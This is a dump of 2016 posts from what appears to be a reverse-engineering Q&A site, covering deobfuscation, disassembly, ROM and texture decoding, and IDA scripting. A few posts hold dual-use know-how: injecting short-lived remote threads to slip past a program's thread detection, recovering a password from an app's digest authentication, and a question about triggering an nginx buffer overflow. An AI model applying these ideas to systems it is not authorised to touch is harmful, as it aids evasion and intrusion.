0x0]&#xA;W&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I cannot be sure that it is the true sequence of executable under analysis because I do output in the instrumentation phase, but the code can probably be modified it the way to write opcode inside another  INS_InsertPredicatedCall, so it will be recorded when it will be executed.&lt;/p&gt;&#xA;" OwnerUserId="15278" LastEditorUserId="34842" LastEditDate="2020-11-03T15:18:51.573" LastActivityDate="2020-11-03T15:18:51.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12644" PostTypeId="2" ParentId="12621" CreationDate="2016-05-12T10:19:54.437" Score="2" Body="&lt;p&gt;You file is obfuscated with &lt;a href=&quot;https://github.com/yck1509/ConfuserEx&quot; rel=&quot;nofollow&quot;&gt;ConfuserEX&lt;/a&gt; and I know it because of the way the &lt;strong&gt;ControlFlow&lt;/strong&gt; looks. ControlFlow is simply the fact that the method body seems to be confusing / puzzling, with &lt;em&gt;Switch Cases&lt;/em&gt; and &lt;em&gt;Gotos&lt;/em&gt;.&#xA;If you dig into Google, and look for &quot;&lt;strong&gt;ConfuserEX Deobfuscator&lt;/strong&gt;&quot; you will be able to download a few tools to clean your protected assembly (mainly on tuts4you's forum).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="16078" LastActivityDate="2016-05-12T10:19:54.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12645" PostTypeId="1" AcceptedAnswerId="12655" CreationDate="2016-05-12T11:03:28.723" Score="-1" ViewCount="392" Body="&lt;p&gt;Both IDA Pro and OllyDBG automatically analyze the binary on load to identify whats code and data. I assume its a complicated process and I would like to learn more about this process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this process refered to and are you guys aware of any resources about this subject?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also composed a list of interesting information that can be read from the executable (taken from IDA Pro). Anything to add?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Names&lt;/li&gt;&#xA;&lt;li&gt;Functions&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Imports&lt;/li&gt;&#xA;&lt;li&gt;Exports&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Strings&lt;/li&gt;&#xA;&lt;li&gt;Structures&lt;/li&gt;&#xA;&lt;li&gt;Enums&lt;/li&gt;&#xA;&lt;li&gt;Segments&lt;/li&gt;&#xA;&lt;li&gt;Signatures (To identify the compiler)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15380" LastEditorUserId="15380" LastEditDate="2016-05-12T14:19:09.540" LastActivityDate="2016-05-13T23:29:45.347" Title="Automated static code analysis" Tags="|ida|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12646" PostTypeId="2" ParentId="12625" CreationDate="2016-05-12T12:00:13.970" Score="0" Body="&lt;p&gt;In Ollydbg you can select the disassembly windows and hit &lt;code&gt;CTRL + g&lt;/code&gt;. A dialog box will show up and just enter &lt;code&gt;CreateThread&lt;/code&gt; in it. The search is case sensitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not work for Windows Kernel functions but it does work for any function from a DLL that is imported by the program being debugged. Since you are searching for &lt;code&gt;CreateThread&lt;/code&gt; address, I assume that is what you meant from your question.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastEditorUserId="12897" LastEditDate="2016-05-12T14:34:41.353" LastActivityDate="2016-05-12T14:34:41.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12647" PostTypeId="2" ParentId="12641" CreationDate="2016-05-12T14:53:56.633" Score="7" Body="&lt;p&gt;This looks .. interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i open the first and second of your files in a hex editor, one has 20240 bytes, the other has 10240 bytes (all numbers in hex). So, 2^16+220 in one case, 2^17+220 in the other case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both files have data that &quot;looks a certain way&quot; in their first 240 bytes, then the data starts looking differently. Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nEnnb.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nEnnb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, this smells like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0000-003F metadata, whatever&#xA;0040-0240 palette; probably 256d entries of 2 bytes, 565 encoding?&#xA;rest      image data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice how regular the pattern looks when you set the width of the hex display. This seems to be a 20x20 (32x32 decimal) pixel bitmap. However, looking further down in the file, there seem to be other widths as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no, this is not a recognizable (by me) format, but it shouldn't be too hard to decode it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other 2 files seem to have a different format, they're only 30 bytes larger than a power of 2, and there's not a distinct pattern change 30 bytes into the file. Not sure what to make of that, yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interpreting the image data of the AFS73DB.tmp_0.bin file as 32x128 tiles and placing them next to each other yields (some parts omitted):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G5iUT.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G5iUT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks to me like an animation, maybe of an explosion or something similar. The colors are probably way off, though. Does this ring any bells? Do you have a screenshot or two how this should look on the Gamecube?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it seems that the lower part of the texture isn't used and thus filled with random bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to check out my attempt at a decoder, check &lt;a href=&quot;https://github.com/gbl/GamecubeTextureDisplay&quot;&gt;https://github.com/gbl/GamecubeTextureDisplay&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having an example what the output should look like helped, a lot, and i was able to update my decoder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each block of 32 input bytes is stored as an 8x4 pixel block in the output, with the next block to the right of it, until the whole line length is reached, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 01 02 03 04 05 06 07     20 21 22 23 24 25 26 27   ....&#xA;08 09 0a 0b 0c 0d 0e 0f     28 29 2a 2b 2c 2d 2e 2f &#xA;10 11 12 13 14 15 16 17     .....&#xA;18 19 1a 1b 1c 1d 1e 1f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each palette entry seems to be a big endian 2-byte word, with the msb unknown (alpha value?), followed by 5 bits for red, green, blue. So for example a palette entry &lt;code&gt;8CE2&lt;/code&gt; translates to &lt;code&gt;1000 1100 1110 0010&lt;/code&gt;, split to &lt;code&gt;1|00011|00111|00010|&lt;/code&gt;, resulting (when the individual colors are filled to 8 bit) in &lt;code&gt;r=00011000=24&lt;/code&gt;, &lt;code&gt;g=00111000=56&lt;/code&gt;, &lt;code&gt;b=00010000=16&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this, your files result in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KJw23.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KJw23.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6GEXJ.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6GEXJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which looks quite good. However, there are some red pixels in the first image that shouldn't be there, and the letters in the second one almost look like 3D letters with their shifted green/red pixels. Could this have to do with an alpha value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still not sure what to make of the b/w pictures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(to be continued)&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2016-05-14T18:21:57.657" LastActivityDate="2016-05-14T18:21:57.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12648" PostTypeId="2" ParentId="12610" CreationDate="2016-05-12T16:52:04.590" Score="2" Body="&lt;p&gt;Have you considered using the DLL only for providing &quot;stub&quot; methods, that you could call using CreateRemoteThread, and have the DLL methods transform the arguments into what the method you ultimately want to call takes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is not really a solution to how the program detects other threads running.  But with some luck, the fact that your threads would only run for a fraction of a second under this proposal, it would be much less likely for the program to detect them.&lt;/p&gt;&#xA;" OwnerUserId="15991" LastActivityDate="2016-05-12T16:52:04.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12649" PostTypeId="2" ParentId="12419" CreationDate="2016-05-12T17:04:52.207" Score="1" Body="&lt;p&gt;Maybe an optimizing compiler wants the next instruction to start on a 4 byte boundary, e.g. if the next instruction is the destination of a jump in an inner loop.  And maybe this one 3-byte instruction is faster than three consecutive one-byte NOPs.&lt;/p&gt;&#xA;" OwnerUserId="15991" LastEditorUserId="15991" LastEditDate="2016-05-12T17:49:46.797" LastActivityDate="2016-05-12T17:49:46.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12651" PostTypeId="1" CreationDate="2016-05-12T22:35:39.523" Score="1" ViewCount="703" Body="&lt;p&gt;I have an iOS app which uses digest HTTP authentication with nonce which expires every 5 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client calculates response as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HA1=MD5(username:realm:password)&#xA;HA2=MD5(method:digestURI)&#xA;response=MD5(HA1:nonce:nonceCount:cnonce:top:HA2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My goal is to figure out the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brute-force attack appears to be unfeasible here. I've also tried to recover the password from the keychain and decrypted app binary/resources. I've also tried to impersonate authentication server to force client to fallback to basic authentication, but it didn't work either. Any other ideas?&lt;/p&gt;&#xA;" OwnerUserId="16082" LastActivityDate="2016-05-27T18:51:02.697" Title="Reverse-engineer digest http authentication" Tags="|ios|hash-functions|api|https-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12652" PostTypeId="1" AcceptedAnswerId="12653" CreationDate="2016-05-13T06:37:32.680" Score="3" ViewCount="175" Body="&lt;p&gt;I just got into reversing, i'm a bit puzzled by a part of the following code.&#xA;I know &lt;em&gt;what&lt;/em&gt; its doing, from a technical aspect, but i don't really understand &lt;em&gt;why&lt;/em&gt; its doing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the part I have a question about.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg005:292F                 test    si, 1           ; ?&#xA;seg005:2933                 jz      short loc_21587&#xA;seg005:2935                 movsb                   ; move byte DS:SI to ES:DI&#xA;seg005:2936                 dec     cx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why check to see if the LSB is set and, if it is, move only one byte before moving the rest of the string? Does this have to do with alignment? That's the best explanation I can think up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire function is below. All comments and names were filled out by me. Any other notes/comments on them or the function as a whole are appreciated.&#xA;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg005:290A&#xA;seg005:290A ; =============== S U B R O U T I N E =======================================&#xA;seg005:290A&#xA;seg005:290A ; Attributes: bp-based frame&#xA;seg005:290A&#xA;seg005:290A StringConcat    proc far                ; CODE XREF: sub_1FFED+16P&#xA;seg005:290A                                         ; sub_1FFED+3AP ...&#xA;seg005:290A&#xA;seg005:290A Destination     = word ptr  6&#xA;seg005:290A Source          = word ptr  8&#xA;seg005:290A&#xA;seg005:290A                 push    bp&#xA;seg005:290B                 mov     bp, sp&#xA;seg005:290D                 push    si              ; save SI&#xA;seg005:290E                 push    di              ; save DI&#xA;seg005:290F                 cld                     ; clear direction flag.&#xA;seg005:2910                 mov     di, [bp+Destination]&#xA;seg005:2913                 push    ds              ; move ds....&#xA;seg005:2914                 pop     es              ; ...into es&#xA;seg005:2915                 mov     dx, di&#xA;seg005:2917                 xor     al, al          ; al = search char. 0x0&#xA;seg005:2919                 mov     cx, 0FFFFh&#xA;seg005:291C                 repne scasb&#xA;seg005:291E                 lea     si, [di-1]      ; last char in string&#xA;seg005:2921                 mov     di, [bp+Source]&#xA;seg005:2924                 mov     cx, 0FFFFh&#xA;seg005:2927                 repne scasb&#xA;seg005:2929                 not     cx              ; length of string&#xA;seg005:292B                 sub     di, cx          ; move back to the start of the string?&#xA;seg005:292D                 xchg    si, di          ; si = start of source string.&#xA;seg005:292D                                         ; di = end ofdestination string&#xA;seg005:292F                 test    si, 1           ; ?&#xA;seg005:2933                 jz      short loc_21587&#xA;seg005:2935                 movsb                   ; move byte DS:SI to ES:DI&#xA;seg005:2936                 dec     cx&#xA;seg005:2937&#xA;seg005:2937 loc_21587:                              ; CODE XREF: StringConcat+29j&#xA;seg005:2937                 shr     cx, 1           ; Divide cx by 2. Moving words, not bytes, so half the size&#xA;seg005:2939                 rep movsw               ; move words DS:SI to ES:DI CX times&#xA;seg005:293B                 jnb     short loc_2158E&#xA;seg005:293D                 movsb&#xA;seg005:293E&#xA;seg005:293E loc_2158E:                              ; CODE XREF: StringConcat+31j&#xA;seg005:293E                 xchg    ax, dx&#xA;seg005:293F                 pop     di&#xA;seg005:2940                 pop     si&#xA;seg005:2941                 pop     bp&#xA;seg005:2942                 retf&#xA;seg005:2942 StringConcat    endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11922" LastEditorUserId="11922" LastEditDate="2016-05-13T07:08:54.240" LastActivityDate="2016-05-13T12:04:50.317" Title="16 bit Dos string concat function" Tags="|ida|static-analysis|dos-exe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12653" PostTypeId="2" ParentId="12652" CreationDate="2016-05-13T07:10:03.060" Score="6" Body="&lt;p&gt;It's a minor speed optimization. The main loop for moving characters use &lt;code&gt;movsw&lt;/code&gt; (move words) which was probably slightly faster than moving bytes. However, in case the number of bytes is odd, one byte would be left uncopied, and that's why there is an extra &lt;code&gt;mosvb&lt;/code&gt; before and after it (so the extra byte is moved before or after, depending on alignment of the string address).&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="53" LastEditDate="2016-05-13T12:04:50.317" LastActivityDate="2016-05-13T12:04:50.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12654" PostTypeId="1" AcceptedAnswerId="12658" CreationDate="2016-05-13T22:15:10.960" Score="4" ViewCount="710" Body="&lt;p&gt;So I got a couple super old chips from what looked like an arcade. The game-board they game with is OK I think. The CRT monitor is wrecked, however the chips are still good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I stuck them in my Chip reader and did a dump of them.Had a poke around to see if there was anything I could do with them, perhaps make an emulator ext. However I don't quite understand what it means. I'm not sure if there encoded, or if i'm trying to decode them with the wrong Character-set. I'm pretty sure these are the sting outputs of the game, I first thought, OK well there probably in another language. But google has no clue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried UTF-8, EBCDIC, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats posted is it in ASCII.&#xA;Googled the model number of the board, no dice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chips where labeled U4-U8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a snipit of the first chip:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00047600  73 20 6f 20 61 20 6f 63  20 68 20 6f 62 65 64 77  |s o a oc h obedw|&#xA;00047610  20 75 74 6e 74 20 6f 62  65 00 79 75 20 65 2c 72  | utnt obe.yu e,r|&#xA;00047620  63 69 65 6f 65 6d 72 20  61 64 20 6e 20 74 6e 2e  |cieoemr ad n tn.|&#xA;00047630  00 6f 63 20 68 20 70 69  20 75 74 6e 74 20 70 69  |.oc h pi utnt pi|&#xA;00047640  20 20 61 72 69 74 20 77  20 61 64 2c 00 65 63 20  |  arit w ad,.ec |&#xA;00047650  74 74 65 63 72 65 74 62  74 61 6f 6e 2e 20 6f 72  |ttecretbtaon. or|&#xA;00047660  2c 6e 20 6c 63 6a 63 73  00 6f 20 6f 62 65 64 77  |,n lcjcs.o obedw|&#xA;00047670  73 6f 20 70 69 20 61 64  2e 00 6c 79 72 77 6e 20  |so pi ad..lyrwn |&#xA;00047680  69 68 36 63 72 73 61 20  31 70 69 74 20 72 6c 73  |ih6crsa 1pit rls|&#xA;00047690  2e 00 65 6c 72 73 61 64  20 6e 31 20 72 6d 72 20  |..elrsad n1 rmr |&#xA;000476a0  6f 6e 73 6f 20 6e 36 63  72 73 0a 54 79 74 20 6f  |onso n6crs.Tyt o|&#xA;000476b0  62 65 77 6e 69 67 20 79  70 65 73 6e 20 6f 62 65  |bewnig ypesn obe|&#xA;000476c0  75 20 75 74 6e 0a 20 63  73 63 75 74 68 67 2c 61  |u utn. cscuthg,a|&#xA;000476d0  64 38 69 20 6c 61 73 61  70 73 2e 00 40 00 41 00  |d8i lasaps..@.A.|&#xA;000476e0  42 00 43 00 44 00 45 00  46 00 47 00 48 00 49 00  |B.C.D.E.F.G.H.I.|&#xA;000476f0  4a 00 4b 00 4c 00 50 00  51 00 52 00 53 00 54 00  |J.K.L.P.Q.R.S.T.|&#xA;00047700  55 00 56 00 57 00 4d 00  20 00 21 00 22 00 23 00  |U.V.W.M. .!.&quot;.#.|&#xA;00047710  24 00 25 00 26 00 27 00  28 00 29 00 2a 00 2b 00  |$.%.&amp;amp;.'.(.).*.+.|&#xA;00047720  2c 00 30 00 31 00 32 00  33 00 34 00 35 00 36 00  |,.0.1.2.3.4.5.6.|&#xA;00047730  37 00 2d 00 00 00 01 00  02 00 03 00 04 00 05 00  |7.-.............|&#xA;00047740  06 00 07 00 08 00 09 00  0a 00 0b 00 0c 00 10 00  |................|&#xA;00047750  11 00 12 00 13 00 14 00  15 00 16 00 17 00 0d 00  |................|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I figured a group of security people would probably have seen encoding or encryption like this before and might point me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or hell, they might be encrypted, there was a label for &quot;Security chip&quot; on the board, however it was missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what encoding this is, or if its encrypted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dumps: &lt;a href=&quot;https://mega.nz/#!W8UwiQBS!17g3GMBniRPBcqOuDXVGZZoYh1qOZAJzJIdh-rpk5kQ&quot; rel=&quot;noreferrer&quot;&gt;https://mega.nz/#!W8UwiQBS!17g3GMBniRPBcqOuDXVGZZoYh1qOZAJzJIdh-rpk5kQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16091" OwnerDisplayName="Steven Venham" LastEditorUserId="16091" LastEditDate="2016-05-14T17:46:26.760" LastActivityDate="2016-05-15T00:44:21.087" Title="What is the encoding of some old arcade chips?" Tags="|hardware|" AnswerCount="1" CommentCount="11" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12655" PostTypeId="2" ParentId="12645" CreationDate="2016-05-13T23:29:45.347" Score="2" Body="&lt;p&gt;This is answered at length in The IDA PRO Book by Chris Eagle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, the entire first chapter is dedicated to this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would highly recommend purchasing a copy:&#xA;&lt;a href=&quot;https://www.nostarch.com/idapro2.htm&quot; rel=&quot;nofollow&quot;&gt;https://www.nostarch.com/idapro2.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The electronic version is excellent for searching things like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside of the book, I would recommend consulting this StackExchange question, which discusses Recurisve Descent dissassembly:&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2347/what-is-the-algorithm-used-in-recursive-traversal-disassembly&quot;&gt;What is the algorithm used in Recursive Traversal disassembly?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2016-05-13T23:29:45.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12657" PostTypeId="1" CreationDate="2016-05-14T10:20:18.670" Score="0" ViewCount="1254" Body="&lt;p&gt;Is there any sites to get new android malware files(.apk files) for analysing purpose?&#xA;and also suggest me some blogs/sites for android malware analysis?&#xA;Please reply me ASAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="16096" LastEditorUserId="16096" LastEditDate="2016-05-15T09:49:26.373" LastActivityDate="2016-05-15T14:17:01.030" Title="where i can get android malware samples to analyze?" Tags="|malware|" AnswerCount="1" CommentCount="1" ClosedDate="2016-05-15T18:19:42.007" ContentLicense="CC BY-SA 3.0" />
  <row Id="12658" PostTypeId="2" ParentId="12654" CreationDate="2016-05-15T00:22:57.167" Score="3" Body="&lt;p&gt;These four files are 2 interleaved sets of ROMs for the arcade game &quot;Pot-O-Gold&quot;, by Leisure Time Technology, dated &quot;OCTOBER 1999&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image shows your labelled chips, also bearing the abbreviation &quot;POG&quot;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ufc1Q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ufc1Q.png&quot; alt=&quot;super cheap! add to cart!&quot;&gt;&lt;/a&gt;&#xA;(located on &lt;a href=&quot;http://newlifegames.net/nlg/index.php?topic=14784.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://newlifegames.net/nlg/index.php?topic=14784.0&lt;/a&gt;) plus an additional unlabeled one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first pair is &lt;strong&gt;U4 + U7&lt;/strong&gt;; combining them shows a few texts and, at offset 0x37876, a 16x16 monochrome font. The font starts at space and continues well into accented characters, following &lt;a href=&quot;https://en.wikipedia.org/wiki/Code_page_437&quot; rel=&quot;nofollow noreferrer&quot;&gt;Code Page 437&lt;/a&gt;, all the way up to the capital &lt;code&gt;Ñ&lt;/code&gt;. After that comes an &lt;code&gt;Ø&lt;/code&gt;, followed by some specialist (probably in-game) characters. A very similar 8x8 character set starts at 0x75FEA. This strongly suggests a modern PC was used to create the game, and in-game texts are basically encoded as Code Page 437.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About halfway into the combined file, there is a huge chunk of text for changing the settings; it starts around &lt;code&gt;PROGRESSIVE CONFIG SHOULD BE DONE ON A MASTER MACHINE&lt;/code&gt;. Some of the texts are in Norwegian (?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second pair is &lt;strong&gt;U5 + U8&lt;/strong&gt;. Combining them shows it starts with the names of the sub-games: &lt;code&gt;DOUBLE-UP  KENO&lt;/code&gt;, &lt;code&gt;SUPER DOUBLE-UP&lt;/code&gt;, and so on. It also contains lots of detailed in-game help texts. The final half of the file is blank, consisting only of 0xFF bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not find a good reference for what CPU drives this, and I don't recognize code (probably) as Z80, Intel, ARM, or MC680XX. I also cannot readily determine if word data is stored little or big endian.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2016-05-15T00:44:21.087" LastActivityDate="2016-05-15T00:44:21.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12660" PostTypeId="2" ParentId="12657" CreationDate="2016-05-15T14:17:01.030" Score="0" Body="&lt;p&gt;VirusShare has a really nice collection of Android malware:&#xA;&lt;a href=&quot;https://virusshare.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirusShare&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ysNkX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ysNkX.png&quot; alt=&quot;example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2016-05-15T14:17:01.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12661" PostTypeId="1" AcceptedAnswerId="12662" CreationDate="2016-05-16T18:14:18.990" Score="2" ViewCount="2218" Body="&lt;p&gt;I am looking for a way to obtain the pseudocode of a function via a script. I am using IDAPro 6.9 on OS X 10.11.4 (El Capitan).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did locate this documentation on using the decompiler in batch mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/batch.shtml&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/decompiler/manual/batch.shtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am interpreting the documentation correctly, it would seem to indicate that I can execute:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;idal -Ohexx86:decompiled_output:function_name -A myidapro.idb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it will produce the pseudocode for &lt;em&gt;function_name&lt;/em&gt; and write the result to &lt;em&gt;decompiled_output&lt;/em&gt;. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try this, it just launches the text interface and no output file is created. I can, of course, launch the GUI and view the pseudocode of function_name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if there is a way to obtain the pseudocode of a function via a python script running within idapro, that would be the preferred option, but it is unclear to me whether that is possible.&lt;/p&gt;&#xA;" OwnerUserId="13669" LastActivityDate="2016-05-16T18:26:35.353" Title="Obtaining the Pseudocode of a function via a script" Tags="|ida|decompilation|ida-plugin|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12662" PostTypeId="2" ParentId="12661" CreationDate="2016-05-16T18:26:35.353" Score="3" Body="&lt;p&gt;You can use the following function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def decompile_func(ea):&#xA;  if not init_hexrays_plugin():&#xA;    return False&#xA;&#xA;  f = get_func(ea)&#xA;  if f is None:&#xA;    return False&#xA;&#xA;  cfunc = decompile(f);&#xA;  if cfunc is None:&#xA;    # Failed to decompile&#xA;    return False&#xA;&#xA;  lines = []&#xA;  sv = cfunc.get_pseudocode();&#xA;  for sline in sv:&#xA;    line = tag_remove(sline.line);&#xA;    lines.append(line)&#xA;  return &quot;\n&quot;.join(lines)&#xA;&#xA;print decompile_func(here())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a modification of the example vds1.py script.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-05-16T18:26:35.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12664" PostTypeId="1" AcceptedAnswerId="12666" CreationDate="2016-05-17T01:38:11.253" Score="2" ViewCount="131" Body="&lt;p&gt;Is it possible to configure the decomplier so it will generate code for the entire function and not just the parts it thinks can be reached?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disassemblier sees the alternate code path, but the decomplier won't generate the code for it.&lt;/p&gt;&#xA;" OwnerUserId="13669" LastActivityDate="2016-05-17T09:57:26.173" Title="Decompiler skipping code it determined cannot be reached" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12665" PostTypeId="1" AcceptedAnswerId="12667" CreationDate="2016-05-17T08:07:47.180" Score="-1" ViewCount="317" Body="&lt;p&gt;i am to web applications so i have recently published my website and ran a penetration test using Acunetix Vulnerability scanner&#xA;so i have found the following result and for me to experience a lot about web apps i would like experiment on this website penetrate my site see if i can successfully run arbitary code send emails do stuffs inside my website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Acunetix vulnerability results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A heap-based buffer overflow in the SPDY implementation in nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12 allows remote attackers to execute arbitrary code via a crafted request. The problem affects nginx compiled with the ngx_http_spdy_module module (which is not compiled by default) and without --with-debug configure option, if the &quot;spdy&quot; option of the &quot;listen&quot; directive is used in a configuration file.&#xA;Affected items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="13301" LastActivityDate="2016-05-17T10:17:23.490" Title="how can one cause heap memory buffer overflow in a worker process by using a specially crafted request?" Tags="|malware|websites|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-18T06:30:25.053" ContentLicense="CC BY-SA 3.0" />
